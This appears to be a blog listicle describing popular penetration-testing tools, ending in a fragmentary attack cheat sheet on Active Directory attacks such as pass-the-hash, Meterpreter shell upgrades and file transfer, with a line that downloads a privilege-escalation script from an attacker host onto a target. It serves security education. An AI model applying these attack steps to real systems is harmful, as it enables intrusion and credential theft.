Hacking has seen a dramatic rise in popularity in the past couple of years thanks to Ethical Hacking Platforms like HackerOne, Bugcrowd, and Intigriti. Hacking has become a great career path for many people who are curious about technology and like to hack in a legal way. In this article, we will discuss the Best Hacking Tools that you add to your repository to become a better hacker.
Disclaimer: All of the tools described in this article are meant to be used for Ethical Hacking purposes only!
Table of Contents
- What tools do most Hackers use?
- What is the most powerful Hacking Tool?
- 1. Metasploit Framework
- 2. Burp Suite
- 3. Nessus
- 4. Nmap
- 5. Wireshark
- 6. OpenVAS
- 7. Aircrack-ng
- 8. Nikto
- 9. John the Ripper
- 10. Netcat
- 11. Hydra
- 12. SQLmap
- 13. Ettercap
- 14. SET Toolkit
- What do Hackers use?
- More Hacking Tools
- Active Directory
- Transferring Files
What tools do most Hackers use?
Most hackers use a variety of tools to help them with their hacking activities. Some of the most popular hacking tools include:
- Burp Suite: Mostly used for web application testing.
- Metasploit: This is a hacking tool that allows hackers to exploit vulnerabilities in systems.
- Nmap: This hacking tool is used for network exploration and security auditing.
- Wireshark: This tool is used for packet capture and analysis.
- Aircrack-ng: This hacking tool is used for wireless network hacking.
- John the Ripper: This password-cracking tool is used to brute force passwords.
- SQLmap: This hacking tool is used for SQL injection attacks.
- Maltego: This hacking tool is used for link analysis and open-source intelligence gathering.
These are just some of the most popular hacking tools that are used by hackers. Many other tools are available to help hackers with their activities, some of which we will cover in this article.
What is the most powerful Hacking Tool?
There are many hacking tools available on the internet, but which one is the most powerful? This is a difficult question to answer, as there are a lot of factors to consider.
One hacking tool that is often mentioned as being powerful is Metasploit. This tool can be used to exploit weaknesses in systems and gain access to them. It has a large database of exploits, and new ones are constantly being added. Metasploit is also open source so anyone can contribute to its development.
Another hacking tool that is worth mentioning is Nmap. This tool can be used for network exploration and security auditing. It can be used to scan for open ports, identify running services, and much more. Nmap is also open source and has a large community of users.
We would also add Burp Suite to this list since there has been an incredible increase in web application testing in the past couple of years due to the rise in popularity of so-called Bug Bounty Programs.
So, which hacking tool is the most powerful? It depends on your definition of power.
- If you consider Metasploit to be the most powerful hacking tool because it can be used to exploit weaknesses in systems, then that is your answer.
- If you consider Nmap to be the most powerful hacking tool because it can be used for network exploration and security auditing, then that is your answer.
- If you are working as a Web Application Security Engineer or if you are a Bug Hunter, Burp Suite is most likely going to be your pick.
Ultimately, it comes down to what you need a hacking tool for and what features are most important to you.
1. Metasploit Framework
The Metasploit Framework is on the list of hugely popular hacking tools between both penetration testers and security analysts. It is backed by a community of more than 200k people who contribute and develop it, creating an infrastructure where you can build your custom exploits and scripts. It is one of the must-know tools if you are interested in getting into Cybersecurity.
The Metasploit framework is essentially a computer security project which provides the user with essential information regarding known security vulnerabilities and real-world attacks and helps to formulate the penetration testing and IDS use cases, plans, strategies, and methodologies for exploitation. Most of the in-demand practical IT Security courses, such as CEH or OSCP have also included a Metasploit component. There is also a detailed tutorial about how to get started with Metasploit, have a look at the complete beginner guide here.
It is available in both Free and Paid versions which can be found here.
2. Burp Suite
Burp Suite is a penetration testing framework based on the Java programming language, which is used to find security flaws in web applications. It is one of the most widely used hacking tools by both penetration testers and security analysts to find out the potential vulnerabilities using the OWASP TOP 10 standard of passing the security evaluation. Burp Suite helps in identifying the vulnerabilities and verifying the attack vectors which can affect web applications. Due to its popularity, it is considered the industry standard when it comes to Web Application Testing.
In the simplest form, the Burp Suite works like an Interception Proxy which means that while browsing the target web application, a user can configure their internet browser to route all the traffic through the Burp Suite proxy server, which then acts as a sort of Man In The Middle as it will captures and analyzes each request from or towards the target web application server so that the data being transmitted or being received can be interpreted in the plain text.
It can even decrypt and read the HTTPS traffic by importing a custom Burp certificate in the browser. The captured requests can be parsed, manipulated, and replayed individually in the HTTP requests section for analyzing the potential data input parameters or injection points of the web page. Injection points can also be specified for manual as well as automated fuzzing attacks to discover potentially unintended application behavior, crashes, and error messages. It is one of the tools which should make it into your bucket list of things to learn. There is even a tutorial in which we have shown the usage of Burp Suite. You may want to have a look here.
Like Metasploit, it also comes in both Free and Paid versions which can be found here.
Nessus is one of the most popular vulnerability scanning tools out in the market that is being used by many professional penetration testers and auditors around the world for both internal and external vulnerability assessments in banks and different organizations. Tenable, a famous cybersecurity company, has developed it and is maintaining it. It has a web interface that is used to set up scanning and audits and to view reports.
Along with one of the most significant vulnerability knowledge bases, its most prominent features includes identifying the vulnerabilities which could allow a remote attacker to access sensitive data from the system, checking for the patches of offered service by the server, password level weaknesses (default or standard) authentication check on the service, firewall and system configuration audits, mobile device audits, SCADA, audits, web application audits, PCI DSS compliance checks, malware scanning, host discovery and many more. The results of all of these can be viewed in a beautiful customized report. Nessus can also integrate with the Metasploit framework to extend the scanning phase for co-relating the vulnerabilities with their available exploits. In my opinion, it is one of the must-have tools.
It is available in both free and paid versions, which can be found here. The free version has a lot of limitations compared to the pro, which is very expensive.
Nmap project, also known as network mapper, is a security tool used by information security professionals to manage, explore, and audit the network and operating system security of both the local and remote hosts. Nmap project is one of the most legacy port scanners in existence since 1997, and it gets continually developed and actively updated with the addition of new features with time. It is regarded as the most effective network mapper by network administrators and cybersecurity professionals around, known for being efficient and consistently delivering effective results with any network investigation.
It is available in both GUI and command-line versions with the prominent features of fingerprinting dozens of types of devices, along with port-scanning capabilities, operating system type with version detection, service type with version detection, ping sweeps, firewall bypass scan, reconnaissance, vulnerability detection, exploit verification and custom scripts with the ability of scanning scan massive networks thousands of machines. You can even make changes in its code as it is open source and use its libraries to get the network scanning capability in your custom-made scanner.
It is available with full source code of both GUI and command-line versions, which can be found here.
We have created an entire tutorial series revolving around Nmap. You can find the series here:
Wireshark is amongst the most popular hacking tools that are used for a reason. It uses a network protocol analyzer and network sniffer, which lets you check for different types of data segmented into packets regardless of the protocols used and running between a source and destination in real-time and implements the filters, color-coding, and other features which let the user dig deeper into network traffic and inspect individual packets. Wireshark can also perform live capturing of packets and analyzes them to find various payloads transmitting in the network and provides its result with verbose output in a human-readable form.
It is widely known for its ability to detect security problems in a network, as well as for its effectiveness in solving networking problems. It comes both in GUI named Wireshark GUI and a command-line interface called Tshark. It lets you see the activities on a network from the most basic level, provided with PCAP file access, customized reports, alerts, etc. If you would like to become an offensive security tester or work as a security analyst, then it is a tool you must learn. We have also created a tutorial to understand how to make use of it. Briefly you can find it here.
It is free and open-source software that can be found here.
OpenVAS is a framework that also stands out in the list of top hacking tools, which is developed by Greenbone Networks. It provides comprehensive scanning services and a robust vulnerability scanning and management package. It is an open-source program that has now become a fork to one of the most popular vulnerability scanners, Nessus. It is made up of three parts, a feed system that keeps pace with the newly discovered vulnerabilities and threats which gets updated by Network Vulnerability Tests (NVTs) regularly, a scanner that runs the NVTs feeds against the target and an SQLite3 database which stores the test configurations and scan results.
OpenVAS can be accessed and operated by both the command line and the GUI mode (web-based). The most prominent features of OpenVAS are multi-threaded scanning of targets, vulnerability management and verification, detailed risk assessment and remediation, and customized reports that are both statistical and detailed. There are also tutorials on how to install it on the Parrot OS and Kali Linux here.
It is free and open-source with both GUI and command-line versions which can be found here.
Wireless technology is difficult to secure due to the visibility issue, as it can not be physically seen which data is being transmitted in the air. This is where aircrack-ng comes into play. Aircrack-ng is one of the most popular wireless network hacking tools, which consists of a packet sniffer, wireless host detector, reconnaissance, WPA/WPA2-PSK cracker, WEP, and an analysis tool for 802.11x wireless networks. It is one of the most used tools when it comes to wireless hacking. It works with a wireless network interface controller whose driver supports packet injection and raw monitoring mode, and it can sniff 802.11a, 802.11b, and 802.11g traffic.
It is a command line-based tool with compatibility with Windows, Linux, and OSX-based operating systems. Aircrack-ng focuses on the areas of wireless security with the provision of a complete suite that includes monitoring in which packets are captured, and data is exported to the text files for future processing by 3rd party tools, attacking the target device with Replaying attacks, fake access points, de-authentication by using packet injection, testing the capabilities of Wifi cards and drivers via capture and injection and cracking of WPS, WPA1, and WPA2. You can also read a detailed article here describing the best Wifi adapter with the ability of packet injection to use with Aircrack-ng.
It is also one of the open-source tools, which you can easily find here.
Nikto is one of the classic and favorite hacking tools which comes along with the Kali Linux Distribution. It is used to scan web servers and perform different types of security tests against the specified remote host. It has a clean and straightforward command-line interface, which makes it easy to use against the target. Netsparker, a cybersecurity company, sponsors it. Nikto searches for vulnerabilities against a database of over 6800 potentially dangerous files/ programs when scanning a software stack.
It also scans for outdated versions of over 1300 types of services and version-specific problems on over 275 services. It also has audit capabilities and can check server configuration items such as the presence of multiple index files, HTTP server options, SSL scanning support, and parked domain checking, and the platform will also try to identify installed web servers and web applications and directory enumeration with verbosity. It could even get combined with any semi-decent Intrusion Detection tool to co-relate the vulnerabilities and provide a decent report of all the results in HTML, CSV, and XML format. Indeed a great tool to learn when attacking an open box for training.
It is an open-source hacking tool and can be found here.
9. John the Ripper
John the Ripper is a free password-cracking tool that uses wordlists or dictionaries to crack a given hash. It was initially developed for the UNIX operating system, but now it runs even on Windows. It combines several password crackers into one package, auto-detects the password hash types, and includes a customizable cracker. It can be run against various encrypted password formats, including several crypt password hash types most commonly found on multiple UNIX versions (based on DES, MD5, or Blowfish, Crypt3), Kerberos AFS, and Windows NT/2000/XP/2003 LM hash. The additional modules can extend and include MD4-based password hashes and passwords stored in LDAP, MySQL, and others.
The other mode offered by John the Ripper is the use of dictionary-based attacks, which takes the text string samples, usually from a wordlist, containing the words found in a dictionary or real passwords that have been cracked before, encrypting it in the same format as the password being examined (including the encryption algorithm and key), and comparing the output with the encrypted string. It can also perform other varieties of alterations to the dictionary words, which are also used in its single attack mode that modifies an associated plaintext (such as a username with the encrypted password) and checks for variations against the hashes.
Netcat is an ethical hacking tool that is considered a swiss army knife of the network as it is capable of performing any network-related operation logically with the right type of commands. It makes use of TCP and UDP protocols to connect and read and write in a network, which makes it be used for both attacking and security a network. In the case of attacking, it has a script-driven approach, which makes it quite dependable on the back-end while using it from a security point of view, it helps us to debug and investigate the network. It is available on Linux, Windows, and OS X operating systems.
It acts as a UDP/TCP/SCTP/SSL client for interacting with different types of servers and other network services, which is the best way to acknowledge how these services work and interact with each other helps in finding security flaws, or testing custom commands with authority to let you control every bit that is sent and view the raw and unfiltered responses.
It provides the encryption of communications using SSL over both IPv4 and IPv6. It also has the ability to connect to destinations through a chain of anonymous or authenticated proxies and acts as a gateway for the execution of system commands. And in the last, the feature for which it is famous is working as a connection node which it allows two or more clients to connect through a third (middle) server, which enables the multiple machines that are hidden behind NAT gateways to communicate with each other. There are even multiple tutorials in which we have shown the usage of Netcat. You may want to have a look here.
This fantastic utility is available for free and can be downloaded from here.
THC Hydra is the fastest known network logon password cracking tool with a very dynamic and experienced team at its back. It is one of the ethical hacking tools that is used by both information security analysts and hackers to stress test services for weak password combinations. Depending on the processing speed of the computer and internet connection (and proxies), this methodology will systematically go through each password until the correct one is discovered. It uses the brute force and dictionary attack-based approach and repeatedly tries the combinations of usernames and passwords against the specified host.
The new modules can be easily attached to it to enhance its features which are available in both GUI and command-line versions for Windows, Linux, and OS X operating systems. The Hydra supports various network protocols, which include Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC, and XMPP. There is also a tutorial in which we have shown the usage of Hydra performing a brute-force attack. You may want to have a look here.
It is also a free and open-source tool that can be downloaded from here.
SQLmap is one of the hacking tools that is best known to attack against databases that are situated at the backend of web applications. It tries all the possible combinations for SQL to query data from the database server. It seeks to exploit the SQL injection vulnerability that exists because developers do not perform the data validation during the input from the user which should be sanitized before passing into SQL queries which makes the web application vulnerable to SQL injection attacks.
From a successful SQL injection attack, an attacker can read sensitive data including email, username, password, credit card details, and other personal information from the database, and not only it can be read, but also it can be modified or deleted from it. SQLmap supports the injection on Oracle, MySQL, Microsoft SQL Server, Microsoft Access, Sybase, IBM DB2, SQLite, PostgreSQL, Firebird, Sybase, SAP MaxDB, Informix, HSQLDB, and H2 database systems and with time-based blind, boolean-based blind, UNION query-based, error-based stacked queries, and out-of-band injection queries.
It is considered the Metasploit of databases, having a command-line-based tool written in Python. The function of SQLmap is scanning HTTP or HTTPS request URLs, checking for its parameter inputs using multiple types of queries respective to the database type, and exploiting it to extract the database names, tables, columns, and all the data in it. It can even add a remote shell in the database to be controlled remotely. All of this can be performed using GET-based, POST-based, or cookie-based SQL injection without any problem. And even if the extracted password is not in plain text but the hash form, it has a built-in dictionary that tries to decrypt the password into plain text.
This foe for a database tool is open source and freely available to download here.
Ettercap is probably one of the most widely used hacking tools for performing the Man in the Middle attack. It works as a network interceptor and packet sniffer for LAN networks and supports active and passive scans on various protocols like Telnet, FTP, IMAP, SMB, MySQL, LDAP, NFS, SNMP, and HTTP and including the ones that are encrypted such as SSH and HTTPS. It was developed as a suite to work on OSI layer 2 for performing different Man in the Middle operations like infecting the traffic with malware, deleting and manipulating the traffic passing with two different hosts, sniffing passwords, provisioning fake authorization certificates for HTTPS, ARP spoofing and DNS spoof.
Further capabilities which it includes are network scanning and host analysis (like operating system fingerprinting), manipulating and intercepting the over-established connections, active and passive analysis of protocol, filtering based on the source and destination IP address, MAC and ARP address, sniffing of remote traffic over the GRE tunnel, DNS hijacking, and extensions with the scripted plugins to perform specific operations. It comes with both GUI and command-line versions but is available only for Linux distributions.
It is freely available to download and can be found here.
14. SET Toolkit
SET Toolkit or known as Social-Engineer Toolkit (SET), is an open-source framework used for penetration testing via various social engineering techniques. The Social-Engineer Toolkit (SET) is designed to perform advanced attacks against the human element and has quickly become a standard tool in a penetration tester’s arsenal. It is backed by a large community and has incorporated the types of attacks that have never been seen before in an exploitation toolset. The types of attacks that are built into it Toolkit are targeted, sophisticated, and focused attacks against a person or an organization. The SET toolkit is a command line based on menu driven attack system and requires multiple scenarios, options, and customizations to achieve a successful attack.
The SET Toolkit includes several techniques such as website attack vectors, spear phishing, Arduino-based attack, wireless access point attack, SMS spoofing, infection media technique, custom payloads, PowerShell attack, QRCode generated attacks, USB based attacks, credential harvesting, third-party module attacks. It is incredibly customizable and can be integrated with Metasploit and Ettercap and harness their capabilities as well.
This Toolkit is freely available to download and can be found here.
What do Hackers use?
Hackers use various hacking tools to gain access to sensitive information and carry out malicious attacks. These tools can include everything from password crackers and keyloggers to virtual machines that allow hackers to cover their tracks.
Some hacking software is designed specifically for targeting certain types of systems, like databases or websites. In addition, many hackers also make use of more advanced technologies, such as machine learning algorithms and artificial intelligence. Ultimately, the ultimate goal of hacking tools is to give hackers an advantage over system administrators and other users, making it easier for them to gain unauthorized access and commit acts of cybercrime.
While hacking tools have emerged as a powerful force in modern cyberattacks, they still represent only one part of the broader hacking ecosystem, including threat actors, vulnerabilities, exploit kits, and more. So while hacking tools may be advancing thanks to recent technological advancements rapidly, they remain just one piece of the overall hacking puzzle.
And as long-standing security solutions continue to evolve in response to these sophisticated new threats, we must stay on top of these emerging developments if we want to keep our data safe online.
More Hacking Tools
We have covered most of the most popular hacking tools already, but there are much more tools than that. Below is a list of resources and tools that you can also check out if you are interested in learning even more about the Best Hacking Tools hackers use today:
- Metasploit – Huge Penetration Testing Framework. Essential for pentesting.
- AutoSploit – Automated Mass Exploiter.
Network Vulnerability Scanner
- OpenVAS – Open Source Vulnerability Scanner. Highly recommended to check it out.
Web Vulnerability Scanner
- Nikto – Noisy Web Application Vulnerability Scanner.
- WPScan – WordPress Vulnerability Scanner.
- Sparta – Network Infrastructure Scanning & Enumeration Tools with Graphical GUI.
- Printer Exploit Toolkit (PRET) – Toolkit for Printer Security Testing.
- Routersploit – Very useful Open Source Exploitation Framework similar to Metasploit but for Routers / Embedded Devices.
- THC Hydra – Popular Online Password Cracking Tool. Supports a lot of different protocols like HTTP, SMB, FTP, and many more.
Network Reconnaissance Tools
- Nmap – The most popular Network Scanner.
- Zenmap – Nmap with GUI.
- DNSMap – A passive DNS Network Mapper.
- Unix-Privesc-Check – Checks for privilege escalation possibilities on UNIX. Very useful.
- Maltego – Open Source Intelligence & Forensics.
- Shodan – Search Engine for IOT devices.
- Recon-NG – Web Reconnaissance Framework.
Tools to stay Anonymous
Protocol Analyzer & Sniffer
Wireless Network Tools
- Aircrack-ng – Popular Wireless Auditing Tool.
- Reaver – Brute Forcing Tool for WiFi Networks.
- Wifite – Automated Wireless Attacks.
- Fluxion – Automated Wireless Auditing Tool.
- Airgeddon – Automated Wireless Auditing Tool.
- Bully – WPS Brute Force Attacks.
- OWASP ZAP – HTTP Interception Proxy & Fuzzer for Web Application Testing.
- Burp Suite – Web Application Security Testing Platform.
- BeEF – Web Browser Exploitation.
- John the Ripper – A fast password cracker.
- Hashcat – Fast Hash Cracking Tool.
- CeWL – Wordlist Generator.
Hacking Tools for Reconnaissance
- Passive Reconnaissance Tools
- General AD Stuff
- The AD DS Data Store
- Ntds.dit file (Hashes passwords)
- SAM Hashes
- Local User hashes
- How Kerberos works
- The AD DS Data Store
- Top Five Ways I got Domain Admin before Lunch
- Domain Enumeration
- Gaining Domain Access
- LLMNR Poisoning
- SMB Relay Attacks
- Downloads Domain Data & Visualizes it. Very useful.
- Pass the Hash Attacks
- NTLM vs NTLMv2
- NTLM hashes can be passed, NTLMv2 hashes not!
- Only works if credentials are available. Tool passes the password to other services/machines.
- Using psexec.py to connect with the gathered hash
- Used to dump hashes
- Mitigation of Pass The Hash attacks
- Limit Account Re-Use
- Strong Passwords
- Privilege Access Management
- NTLM vs NTLMv2
- Token Impersonation
- What are tokens?
- Temporary keys that allow you access to a system/network without having to provide credentials each time you access a file. “Cookies for computers”
- Token Impersonation Attack
- Requires a Username + Password of any machine
- What are tokens?
- Using Impacket
- Needs User Account with Credentials to work. It doesn’t need to be an Admin account.
- GPP / cPassword Attacks
- Always worth checking for, especially on older Servers.
- Metasploit Module -> auxiliary/smb_enum_gpp
- Tool used to Dump Hashes of all kind
- SAM Hashes
- Golden Ticket Attacks
This is an excellent Article about Upgrading Simple Shells to Fully Interactive ones by Ropnop. Read it.
- Elevate Dumb Shell to Meterpreter Shells
- After a dumb shell was created with a Metasploit Exploit hit CTRL + Z to move the shell to the background
- Type: sessions and note the session ID
- Type: sessions -u 1 -> This spawns a meterpreter shell if available
- Type: sessions -i 2 -> To use the newly spawned meterpreter shell
- Reverse Shell vs Bind Shell
- Reverse Shell
- Target connects to attacker
- Bind Shell
- Attacker connects to target
- Reverse Shell
- If Username + Password are available
- Create Meterpreter Shell from scratch with exploit/windows/smb/psexec
- Elevate Dumb Shell to Meterpreter Shells
- Can also be used to create Shells
- Can also be used to create Shells
- Pre-installed on Kali
- Starts an HTTP Server on Port 8000 in the current directory, which can be accessed from other hosts on the network to transfer files.
- You can use: wget http://ipofattacker:8000/unix-privesc-check.tar to download files
- Pre-installed on Kali
- I like this method a lot if you have an SSH user on the target
- scp /path/to/file username@IP:/path/to/destination
- use pwd on target to see the correct directory
- I like this method a lot if you have an SSH user on the target
The list of hacking tools is not limited to those which are discussed above. The preference varies from organization to organization. However, they are the most recommended tools which are preferred by professionals and used in the industry. Moreover, all these tools come bundled in pentesting Linux distro’s such as Kali Linux, and they can be downloaded and integrated.
If you have any other recommendations for a tool to be included in this list, please comment below. We will surely have a look at it.
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